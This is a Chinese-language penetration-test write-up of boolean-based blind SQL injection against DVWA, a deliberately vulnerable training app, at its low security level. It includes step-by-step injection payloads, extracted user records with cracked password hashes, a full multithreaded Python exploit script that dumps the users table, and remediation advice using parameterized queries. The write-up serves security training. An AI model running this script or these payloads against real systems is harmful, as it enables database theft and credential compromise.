文章目录一、测试概述二、漏洞原理2.1 什么是SQL盲注2.2 核心原理三、漏洞验证3.1 基础测试四、漏洞利用过程4.1 获取数据库名4.2 获取表信息4.3 获取列信息4.4 获取记录数五、提取结果5.1 表结构5.2 实际提取数据5.3 密码破解六、自动化脚本6.1 脚本说明6.2 核心函数6.3 使用方法七、漏洞危害7.1 影响范围7.2 攻击链八、修复建议8.1 漏洞代码Low级别8.2 修复方案8.3 安全最佳实践九、总结9.1 漏洞确认9.2 风险评估9.3 修复优先级一、测试概述项目内容测试目标http://192.168.0.107/DVWA/vulnerabilities/sqli_blind/安全级别Low漏洞类型Boolean-based Blind SQL Injection测试日期2026-06-07测试工具Python自动化脚本风险等级高危Critical二、漏洞原理2.1 什么是SQL盲注SQL盲注是SQL注入的特殊类型。攻击者无法直接看到查询结果只能通过页面返回的布尔状态推断数据库信息。2.2 核心原理正常SQL: SELECT * FROM users WHERE user_id 1 注入后: SELECT * FROM users WHERE user_id 1 AND SUBSTRING(DATABASE(),1,1)d AND 11条件页面响应含义条件为真“User ID exists”猜解正确条件为假“User ID is MISSING”猜解错误通过逐字符猜解可提取数据库名、表名、列名和数据。三、漏洞验证3.1 基础测试测试输入结果结论正常查询1exists页面正常无效ID999MISSING可区分真假单引号1MISSING字符型注入真条件1 AND 11exists注入成功假条件1 AND 12MISSING布尔盲注确认结论存在 Boolean-based Blind SQL Injection 漏洞四、漏洞利用过程4.1 获取数据库名-- 测试长度1 AND LENGTH(DATABASE())4 AND 11→exists✓-- 逐字符猜解1 AND SUBSTRING(DATABASE(),1,1)d AND 11→exists✓1 AND SUBSTRING(DATABASE(),2,1)v AND 11→exists✓1 AND SUBSTRING(DATABASE(),3,1)w AND 11→exists✓1 AND SUBSTRING(DATABASE(),4,1)a AND 11→exists✓结果数据库名 “dvwa”4.2 获取表信息-- 表数量1 AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schemadvwa)1 AND 11→exists✓-- 表名逐字符1 AND SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schemadvwa LIMIT 0,1),1,1)u AND 11→exists✓结果1个表表名 “users”4.3 获取列信息-- 列数量1 AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_schemadvwa AND table_nameusers)8 AND 11→exists✓-- 列名8列user_id,first_name,last_name,user,password,avatar,last_login,failed_login4.4 获取记录数1 AND (SELECT COUNT(*) FROM users)5 AND 11→exists✓结果5条记录五、提取结果5.1 表结构列名类型说明user_idINT用户ID主键first_nameVARCHAR名字last_nameVARCHAR姓氏userVARCHAR用户名passwordVARCHAR密码MD5哈希avatarVARCHAR头像路径last_loginDATETIME最后登录时间failed_loginINT登录失败次数5.2 实际提取数据user_iduserfirst_namelast_namepassword (MD5)last_loginfailed_login1adminadminadmin21232f297a57a5a743894a0e4a801fc32026-05-1232gordonbgordonbrowne99a18c428cb38d5f260853678922e032026-04-23031337hackme8d3533d75ae2c3966d7e0d4fcc69216b2026-04-2304pablopablopicasso0d107d09f5bbe40cade3de5c71e9e9b72026-04-2305smithybobsmith5f4dcc3b5aa765d61d8327deb882cf992026-04-2305.3 密码破解用户MD5哈希原始密码admin21232f297a57a5a743894a0e4a801fc3admingordonbe99a18c428cb38d5f260853678922e03abc12313378d3533d75ae2c3966d7e0d4fcc69216bcharleypablo0d107d09f5bbe40cade3de5c71e9e9b7letmeinsmithy5f4dcc3b5aa765d61d8327deb882cf99password六、自动化脚本6.1 脚本说明[dvwa_blind_sqli_exploit.py]#!/usr/bin/env python3 DVWA SQL盲注漏洞利用脚本 目标: http://192.168.0.107/DVWA/vulnerabilities/sqli_blind/ 级别: Low 类型: Boolean-based Blind SQL Injection 原理: 通过布尔条件判断页面返回差异exists/MISSING逐字符推断数据库内容 优化: 并发请求(10线程) Session复用速度提升5-10倍 importrequestsimportstringimportsysimportjsonimporttimefromdatetimeimportdatetimefromconcurrent.futuresimportThreadPoolExecutor,as_completed# 配置 BASE_URLhttp://192.168.0.107/DVWA/vulnerabilities/sqli_blind/MAX_WORKERS10# 并发线程数REQUEST_TIMEOUT10# 请求超时(秒)COOKIE{security:low,PHPSESSID:ejgeju2nnnil9l058sc70pm8j6}# 性能统计STATS{total_requests:0,start_time:None}# 结果存储RESULTS{timestamp:datetime.now().isoformat(),target:BASE_URL,security_level:low,database_name:,tables:[],columns:{},data:[]}# Session复用TCP连接sessionrequests.Session()session.cookies.update(COOKIE)defcheck_payload(payload): 发送Payload并判断是否返回True Payload示例: 1 AND SUBSTRING(DATABASE(),1,1)d AND 11 返回True: 页面显示 User ID exists 返回False: 页面显示 User ID is MISSING urlf{BASE_URL}?id{requests.utils.quote(payload)}SubmitSubmittry:respsession.get(url,timeoutREQUEST_TIMEOUT)STATS[total_requests]1returnUser ID existsinresp.textexceptExceptionase:print(f [!] Error:{e})returnFalsedefcheck_batch(payloads): 并发检查多个Payload 参数: payloads [(payload1, char1), (payload2, char2), ...] 返回: 匹配成功的字符列表 results[]def_check(item):payload,charitemreturncharifcheck_payload(payload)elseNonewithThreadPoolExecutor(max_workersMAX_WORKERS)asexecutor:futures{executor.submit(_check,item):itemforiteminpayloads}forfutureinas_completed(futures):rfuture.result()ifr:results.append(r)returnresultsdefblind_extract(query,max_len30,charsetNone): 盲注提取函数并发版 原理: 对每一位字符同时发送所有可能的Payload找到匹配的那个 示例 - 猜解数据库名第1位: 并发发送: SUBSTRING(DATABASE(),1,1)a, b, c...z 匹配成功: d → 记录 → 继续猜解第2位 ifcharsetisNone:charsetstring.ascii_lowercasestring.digits_resultforposinrange(1,max_len1):# 构造当前位所有字符的Payloadpayloads[(f1 AND SUBSTRING(({query}),{pos},1){c} AND 11,c)forcincharset]matchedcheck_batch(payloads)ifmatched:resultmatched[0]sys.stdout.write(matched[0])sys.stdout.flush()else:break# 无匹配提取完成print()returnresultdefget_database_name():获取数据库名print([*] Extracting database name...)nameblind_extract(DATABASE(),20,string.ascii_lowercase)print(f[] Database:{name})RESULTS[database_name]namereturnnamedefget_table_count(db):获取表数量print(f[*] Getting table count in{db}...)foriinrange(1,20):ifcheck_payload(f1 AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema{db}){i}AND 11):print(f[] Table count:{i})returnireturn0defget_table_name(db,idx):获取表名print(f[*] Extracting table name[{idx}]...)qfSELECT table_name FROM information_schema.tables WHERE table_schema{db} LIMIT{idx},1nameblind_extract(q,30)print(f[] Table:{name})returnnamedefget_column_count(table):获取列数量print(f[*] Getting column count for{table}...)foriinrange(1,30):ifcheck_payload(f1 AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_schemadvwa AND table_name{table}){i}AND 11):print(f[] Column count:{i})returnireturn0defget_column_name(table,idx):获取列名print(f[*] Extracting column name[{idx}]...)qfSELECT column_name FROM information_schema.columns WHERE table_schemadvwa AND table_name{table} LIMIT{idx},1nameblind_extract(q,30)print(f[] Column:{name})returnnamedefget_row_count(table):获取记录数print(f[*] Getting row count for{table}...)foriinrange(1,20):ifcheck_payload(f1 AND (SELECT COUNT(*) FROM{table}){i}AND 11):print(f[] Row count:{i})returnireturn0defget_field(table,col,row):获取字段值print(f[*] Extracting{col}[row{row}]...)qfSELECT{col}FROM{table}LIMIT{row},1charsetstring.ascii_lettersstring.digits._-$valblind_extract(q,100,charset)print(f[]{col}:{val})returnvaldefsave_results():保存结果到JSONwithopen(dvwa_blind_sqli_results.json,w)asf:json.dump(RESULTS,f,indent2)print(f\n[] Results saved to dvwa_blind_sqli_results.json)defprint_stats():打印性能统计elapsedtime.time()-STATS[start_time]print(\n*60)print(性能统计)print(*60)print(f总请求数:{STATS[total_requests]})print(f总耗时:{elapsed:.2f}秒 ({elapsed/60:.2f}分钟))ifelapsed0:print(f请求速度:{STATS[total_requests]/elapsed:.2f}次/秒)print(*60)defmain(): 执行流程: 1. 获取数据库名 → 2. 获取表数量 → 3. 获取表名 4. 获取列数量 → 5. 获取列名 → 6. 获取记录数 7. 逐行逐列提取数据 → 8. 保存结果 STATS[start_time]time.time()print(*60)print(DVWA SQL Blind Injection Exploit - Level: Low)print(f并发线程:{MAX_WORKERS})print(*60)try:# 1. 数据库名dbget_database_name()# 2-3. 表信息tables[]foriinrange(get_table_count(db)):tables.append(get_table_name(db,i))RESULTS[tables]tablesprint(f[] Tables:{, .join(tables)})# 4-5. 列信息fortintables:cols[]foriinrange(get_column_count(t)):cols.append(get_column_name(t,i))RESULTS[columns][t]colsprint(f[] Columns in{t}:{, .join(cols)})# 6-7. 提取数据ifusersintables:rowsget_row_count(users)print(f\n[*] Extracting users table ({rows}rows)...)colsRESULTS[columns][users]forrinrange(rows):print(f\n--- Row{r1}---)row_data{c:get_field(users,c,r)forcincols}RESULTS[data].append(row_data)# 8. 保存save_results()print_stats()print(\n[] Done!)exceptKeyboardInterrupt:print(\n[!] Interrupted)save_results()print_stats()exceptExceptionase:print(f\n[!] Error:{e})save_results()print_stats()if__name____main__:main()6.2 核心函数defcheck_payload(payload):发送Payload判断页面是否返回User ID exists urlf{BASE_URL}?id{requests.utils.quote(payload)}SubmitSubmitrespsession.get(url,timeoutREQUEST_TIMEOUT)returnUser ID existsinresp.textdefblind_extract(query,max_len30,charsetNone):并发盲注提取对每位字符同时发送所有可能的Payloadforposinrange(1,max_len1):payloads[(f1 AND SUBSTRING(({query}),{pos},1){c} AND 11,c)forcincharset]matchedcheck_batch(payloads)# 并发检查ifmatched:resultmatched[0]6.3 使用方法python dvwa_blind_sqli_exploit.py结果保存至dvwa_blind_sqli_results.json七、漏洞危害7.1 影响范围危害类型程度说明数据泄露严重获取全部用户数据含密码哈希数据篡改严重可修改/删除数据库内容权限提升严重获取管理员账户服务器控制高危结合其他漏洞可能获取服务器权限7.2 攻击链SQL盲注 → 枚举数据库结构 → 提取用户凭证 → 登录系统 → 进一步渗透八、修复建议8.1 漏洞代码Low级别$id$_GET[id];$querySELECT first_name, last_name FROM users WHERE user_id $id;$resultmysqli_query($GLOBALS[___mysqli_ston],$query);8.2 修复方案方案1参数化查询推荐$id$_GET[id];$querySELECT first_name, last_name FROM users WHERE user_id ?;$stmtmysqli_prepare($GLOBALS[___mysqli_ston],$query);mysqli_stmt_bind_param($stmt,s,$id);mysqli_stmt_execute($stmt);$resultmysqli_stmt_get_result($stmt);方案2输入验证$idintval($_GET[id]);// 强制转换为整数8.3 安全最佳实践措施优先级说明参数化查询高使用预处理语句从根本上防止注入输入验证高对所有用户输入进行类型检查最小权限中数据库账户使用最小必要权限WAF防护中部署Web应用防火墙错误处理低不向用户暴露详细错误信息九、总结9.1 漏洞确认项目状态漏洞存在已确认漏洞类型Boolean-based Blind SQL Injection注入点User ID 参数字符型数据库MySQL - dvwa提取数据5条用户记录含密码哈希9.2 风险评估风险等级高危Critical该漏洞允许攻击者枚举整个数据库结构提取所有用户数据包括密码哈希进行数据篡改或删除在特定条件下获取服务器控制权9.3 修复优先级建议立即修复采用参数化查询是最有效的防御手段。—、